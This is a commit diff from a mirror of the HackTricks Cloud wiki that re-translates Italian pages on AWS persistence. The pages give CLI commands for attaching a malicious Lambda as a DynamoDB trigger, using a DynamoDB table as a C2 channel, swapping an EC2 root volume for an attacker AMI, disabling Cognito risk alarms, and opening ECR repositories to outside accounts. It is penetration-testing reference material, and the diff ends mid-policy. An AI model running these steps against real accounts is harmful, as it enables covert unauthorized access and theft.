mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 13:43:24 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -1,32 +0,0 @@
|
||||
# AWS - Persistenza API Gateway
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Per ulteriori informazioni vai a:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Politica delle Risorse
|
||||
|
||||
Modifica la politica delle risorse del/i gateway API per concederti accesso ad essi.
|
||||
|
||||
### Modifica degli Autorizzatori Lambda
|
||||
|
||||
Modifica il codice degli autorizzatori lambda per concederti accesso a tutti gli endpoint.\
|
||||
Oppure rimuovi semplicemente l'uso dell'autorizzatore.
|
||||
|
||||
### Permessi IAM
|
||||
|
||||
Se una risorsa utilizza un autorizzatore IAM, potresti concederti accesso modificando i permessi IAM.\
|
||||
Oppure rimuovi semplicemente l'uso dell'autorizzatore.
|
||||
|
||||
### Chiavi API
|
||||
|
||||
Se vengono utilizzate chiavi API, potresti leakare per mantenere la persistenza o persino crearne di nuove.\
|
||||
Oppure rimuovi semplicemente l'uso delle chiavi API.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Policy della risorsa
|
||||
|
||||
Modifica la resource policy dell'API gateway(s) per concederti l'accesso.
|
||||
|
||||
### Modifica Lambda Authorizers
|
||||
|
||||
Modifica il codice dei lambda authorizers per concederti l'accesso a tutti gli endpoint.\
|
||||
Oppure rimuovi semplicemente l'utilizzo dell'authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
Se una risorsa utilizza un IAM authorizer, potresti concederti l'accesso modificando le IAM permissions.\
|
||||
Oppure rimuovi semplicemente l'utilizzo dell'authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Se vengono usate API keys, potresti leakarle per mantenere la persistenza o anche crearne di nuove.\
|
||||
Oppure rimuovi semplicemente l'uso delle API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Per ulteriori informazioni, accedi a:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
L'AWS CDK distribuisce uno stack CFN chiamato `CDKToolkit`. Questo stack supporta un parametro `TrustedAccounts` che consente a conti esterni di distribuire progetti CDK nell'account vittima. Un attaccante può abusare di questo per concedersi accesso indefinito all'account vittima, sia utilizzando l'AWS cli per ridistribuire lo stack con parametri, sia l'AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Per maggiori informazioni, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
L'AWS CDK distribuisce uno stack CFN chiamato `CDKToolkit`. Questo stack supporta un parametro `TrustedAccounts` che permette ad account esterni di distribuire progetti CDK nell'account della vittima. Un attaccante può abusarne per concedersi accesso indefinito all'account della vittima, sia usando l'AWS cli per ridistribuire lo stack con parametri, sia l'AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Persistenza Cognito
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Per ulteriori informazioni, accedi a:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza dell'utente
|
||||
|
||||
Cognito è un servizio che consente di assegnare ruoli a utenti non autenticati e autenticati e di controllare un directory di utenti. Diverse configurazioni possono essere modificate per mantenere una certa persistenza, come:
|
||||
|
||||
- **Aggiungere un User Pool** controllato dall'utente a un Identity Pool
|
||||
- Dare un **ruolo IAM a un Identity Pool non autenticato e consentire il flusso di autenticazione di base**
|
||||
- O a un **Identity Pool autenticato** se l'attaccante può effettuare il login
|
||||
- O **migliorare i permessi** dei ruoli assegnati
|
||||
- **Creare, verificare e privesc** tramite utenti controllati da attributi o nuovi utenti in un **User Pool**
|
||||
- **Consentire ai fornitori di identità esterni** di effettuare il login in un User Pool o in un Identity Pool
|
||||
|
||||
Controlla come eseguire queste azioni in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Un attaccante con questo privilegio potrebbe modificare la configurazione del rischio per poter effettuare il login come utente Cognito **senza che vengano attivati allarmi**. [**Controlla il cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) per verificare tutte le opzioni:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Per impostazione predefinita, questo è disabilitato:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Cognito Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Per maggiori informazioni, accedi a:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza utente
|
||||
|
||||
Cognito è un servizio che permette di assegnare ruoli ad utenti non autenticati e autenticati e di controllare una directory di utenti. Diversi tipi di configurazioni possono essere modificati per mantenere una persistenza, come:
|
||||
|
||||
- **Adding a User Pool** controllato dall'utente in un Identity Pool
|
||||
- Assegnare un **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- O a un **authenticated Identity Pool** se l'attacker può login
|
||||
- Oppure **improve the permissions** dei ruoli assegnati
|
||||
- **Create, verify & privesc** tramite attributi di utenti controllati o nuovi utenti in un **User Pool**
|
||||
- **Allowing external Identity Providers** per permettere il login in un User Pool o in un Identity Pool
|
||||
|
||||
Vedi come eseguire queste azioni in
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Un attacker con questo privilegio potrebbe modificare la risk configuration per poter effettuare il login come utente Cognito senza far scattare gli allarmi. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Per impostazione predefinita, questo è disabilitato:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,59 +0,0 @@
|
||||
# AWS - Persistenza DynamoDB
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Per ulteriori informazioni accedi a:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Trigger DynamoDB con Backdoor Lambda
|
||||
|
||||
Utilizzando i trigger di DynamoDB, un attaccante può creare una **backdoor furtiva** associando una funzione Lambda malevola a una tabella. La funzione Lambda può essere attivata quando un elemento viene aggiunto, modificato o eliminato, consentendo all'attaccante di eseguire codice arbitrario all'interno dell'account AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Per mantenere la persistenza, l'attaccante può creare o modificare elementi nella tabella DynamoDB, il che attiverà la funzione Lambda malevola. Questo consente all'attaccante di eseguire codice all'interno dell'account AWS senza interazione diretta con la funzione Lambda.
|
||||
|
||||
### DynamoDB come canale C2
|
||||
|
||||
Un attaccante può utilizzare una tabella DynamoDB come un **canale di comando e controllo (C2)** creando elementi contenenti comandi e utilizzando istanze compromesse o funzioni Lambda per recuperare ed eseguire questi comandi.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Le istanze compromesse o le funzioni Lambda possono controllare periodicamente la tabella C2 per nuovi comandi, eseguirli e, facoltativamente, riportare i risultati nella tabella. Questo consente all'attaccante di mantenere la persistenza e il controllo sulle risorse compromesse.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,59 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Per ulteriori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers con Lambda Backdoor
|
||||
|
||||
Usando i trigger di DynamoDB, un attacker può creare una **stealthy backdoor** associando una funzione Lambda malevola a una tabella. La funzione Lambda può essere attivata quando un item viene aggiunto, modificato o cancellato, permettendo all'attacker di eseguire codice arbitrario all'interno dell'account AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Per mantenere la persistenza, l'attaccante può creare o modificare items nella tabella DynamoDB, il che attiverà la Lambda function malevola. Questo permette all'attaccante di eseguire codice all'interno dell'account AWS senza interazione diretta con la Lambda function.
|
||||
|
||||
### DynamoDB come canale C2
|
||||
|
||||
Un attaccante può usare una tabella DynamoDB come un **command and control (C2) channel** creando items contenenti comandi e utilizzando istanze compromesse o Lambda functions per recuperare ed eseguire questi comandi.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Le istanze compromesse o le Lambda functions possono periodicamente controllare la C2 table per nuovi comandi, eseguirli e, opzionalmente, riportare i risultati nuovamente nella C2 table. Questo permette all'attacker di mantenere persistence e controllo sulle risorse compromesse.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,54 +0,0 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza del Tracciamento delle Connessioni del Gruppo di Sicurezza
|
||||
|
||||
Se un difensore scopre che un **EC2 instance è stata compromessa**, probabilmente cercherà di **isolare** la **rete** della macchina. Potrebbe farlo con un esplicito **Deny NACL** (ma i NACL influenzano l'intera subnet), o **cambiando il gruppo di sicurezza** per non consentire **alcun tipo di traffico in entrata o in uscita**.
|
||||
|
||||
Se l'attaccante aveva una **reverse shell originata dalla macchina**, anche se il SG è modificato per non consentire traffico in entrata o in uscita, la **connessione non verrà interrotta a causa di** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Questo servizio consente di **programmare** la **creazione di AMI e snapshot** e persino di **condividerli con altri account**.\
|
||||
Un attaccante potrebbe configurare la **generazione di AMI o snapshot** di tutte le immagini o di tutti i volumi **ogni settimana** e **condividerli con il suo account**.
|
||||
|
||||
### Istanza Programmata
|
||||
|
||||
È possibile programmare le istanze per essere eseguite quotidianamente, settimanalmente o persino mensilmente. Un attaccante potrebbe eseguire una macchina con privilegi elevati o accesso interessante dove potrebbe accedere.
|
||||
|
||||
### Richiesta Spot Fleet
|
||||
|
||||
Le istanze Spot sono **più economiche** delle istanze regolari. Un attaccante potrebbe lanciare una **piccola richiesta di spot fleet per 5 anni** (ad esempio), con **assegnazione automatica dell'IP** e un **user data** che invia all'attaccante **quando l'istanza spot inizia** e l'**indirizzo IP** e con un **ruolo IAM con privilegi elevati**.
|
||||
|
||||
### Istanze Backdoor
|
||||
|
||||
Un attaccante potrebbe accedere alle istanze e backdoorarle:
|
||||
|
||||
- Utilizzando un tradizionale **rootkit** ad esempio
|
||||
- Aggiungendo una nuova **chiave SSH pubblica** (controlla [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring il **User Data**
|
||||
|
||||
### **Configurazione di Lancio Backdoor**
|
||||
|
||||
- Backdoor l'AMI utilizzata
|
||||
- Backdoor il User Data
|
||||
- Backdoor il Key Pair
|
||||
|
||||
### VPN
|
||||
|
||||
Crea una VPN in modo che l'attaccante possa connettersi direttamente attraverso di essa al VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Crea una connessione di peering tra il VPC della vittima e il VPC dell'attaccante in modo che possa accedere al VPC della vittima.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,62 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Se un difensore scopre che un'**EC2 instance è stata compromessa** probabilmente cercherà di **isolare** la **rete** della macchina. Potrebbe farlo con un esplicito **Deny NACL** (ma gli NACLs interessano l'intera subnet), o **modificando il security group** in modo da non permettere **alcun traffico in ingresso o in uscita**.
|
||||
|
||||
Se l'attaccante ha una **reverse shell originata dalla macchina**, anche se il SG viene modificato per non permettere traffico in ingresso o in uscita, la **connessione non verrà terminata a causa di** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Questo servizio permette di **pianificare** la **creazione di AMIs e snapshots** e persino di **condividerli con altri account**.\
|
||||
Un attaccante potrebbe configurare la **generazione di AMIs o snapshots** di tutte le immagini o di tutti i volumi **ogni settimana** e **condividerli con il proprio account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
È possibile schedulare le instances per essere eseguite giornalmente, settimanalmente o anche mensilmente. Un attaccante potrebbe eseguire una macchina con privilegi elevati o con accesso interessante a cui potrebbe connettersi.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Le spot instances sono **più economiche** delle instances regolari. Un attaccante potrebbe avviare una **small spot fleet request per 5 year** (ad esempio), con assegnazione di **automatic IP** e un **user data** che invii all'attaccante **quando la spot instance parte** l'**indirizzo IP** e con un **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Un attaccante potrebbe ottenere accesso alle instances e installare una backdoor:
|
||||
|
||||
- Usando, per esempio, un **rootkit** tradizionale
|
||||
- Aggiungendo una nuova **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Backdooring il **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Scambia il root EBS volume di un'istanza in esecuzione con uno costruito da un AMI o snapshot controllato dall'attaccante usando `CreateReplaceRootVolumeTask`. L'istanza mantiene le sue ENIs, IPs, and role, avviando efficacemente codice malevolo pur apparendo invariata.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Creare una VPN in modo che l'attaccante possa connettersi direttamente alla VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Creare una connessione di peering tra la VPC vittima e la VPC dell'attaccante in modo che questi possa accedere alla VPC vittima.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa di **ec2:CreateReplaceRootVolumeTask** per scambiare il volume root EBS di un'istanza in esecuzione con uno ripristinato da un AMI o snapshot controllato dall'attaccante. L'istanza viene riavviata automaticamente e riprende con il filesystem root controllato dall'attaccante mantenendo ENIs, IP privati/pubblici, volumi non-root allegati e i metadata dell'istanza/ruolo IAM.
|
||||
|
||||
## Requisiti
|
||||
- L'istanza target è EBS-backed ed è in esecuzione nella stessa regione.
|
||||
- AMI o snapshot compatibile: stessa architettura/virtualizzazione/modalità di avvio (e codici prodotto, se presenti) dell'istanza target.
|
||||
|
||||
## Verifiche preliminari
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Sostituire root da AMI (preferito)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Alternativa: usare uno snapshot:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Evidenza / Verifica
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Risultato atteso: ENI_ID e PRI_IP rimangono gli stessi; l'ID del root volume cambia da $ORIG_VOL a $NEW_VOL. Il sistema si avvia con il filesystem dall'AMI/snapshot controllato dall'attaccante.
|
||||
|
||||
## Note
|
||||
- L'API non richiede di arrestare manualmente l'istanza; EC2 orchestra un riavvio.
|
||||
- Per impostazione predefinita, il root EBS volume sostituito (vecchio) viene staccato e lasciato nell'account (DeleteReplacedRootVolume=false). Questo può essere usato per il rollback oppure deve essere eliminato per evitare costi.
|
||||
|
||||
## Ripristino / Pulizia
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Immagine Docker Nascosta con Codice Maligno
|
||||
|
||||
Un attaccante potrebbe **caricare un'immagine Docker contenente codice maligno** in un repository ECR e usarla per mantenere la persistenza nell'account AWS target. L'attaccante potrebbe quindi distribuire l'immagine malevola a vari servizi all'interno dell'account, come Amazon ECS o EKS, in modo furtivo.
|
||||
|
||||
### Politica del Repository
|
||||
|
||||
Aggiungi una politica a un singolo repository che ti concede (o a tutti) accesso a un repository:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Nota che ECR richiede che gli utenti abbiano **permessi** per effettuare chiamate all'API **`ecr:GetAuthorizationToken`** tramite una policy IAM **prima di poter autenticarsi** a un registro e caricare o scaricare immagini da qualsiasi repository Amazon ECR.
|
||||
|
||||
### Politica del Registro e Replicazione tra Account
|
||||
|
||||
È possibile replicare automaticamente un registro in un account esterno configurando la replicazione tra account, dove è necessario **indicare l'account esterno** in cui si desidera replicare il registro.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Innanzitutto, è necessario concedere all'account esterno accesso al registro con una **politica del registro** come:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Quindi applica la configurazione di replicazione:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Immagine Docker nascosta con codice malevolo
|
||||
|
||||
Un attaccante potrebbe **caricare un'immagine Docker contenente codice malevolo** in un repository ECR e usarla per mantenere la persistenza nell'account AWS di destinazione. L'attaccante potrebbe quindi distribuire l'immagine malevola su vari servizi all'interno dell'account, come Amazon ECS o EKS, in modo furtivo.
|
||||
|
||||
### Policy del repository
|
||||
|
||||
Aggiungi una policy a un singolo repository concedendo a te (o a chiunque) l'accesso al repository:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
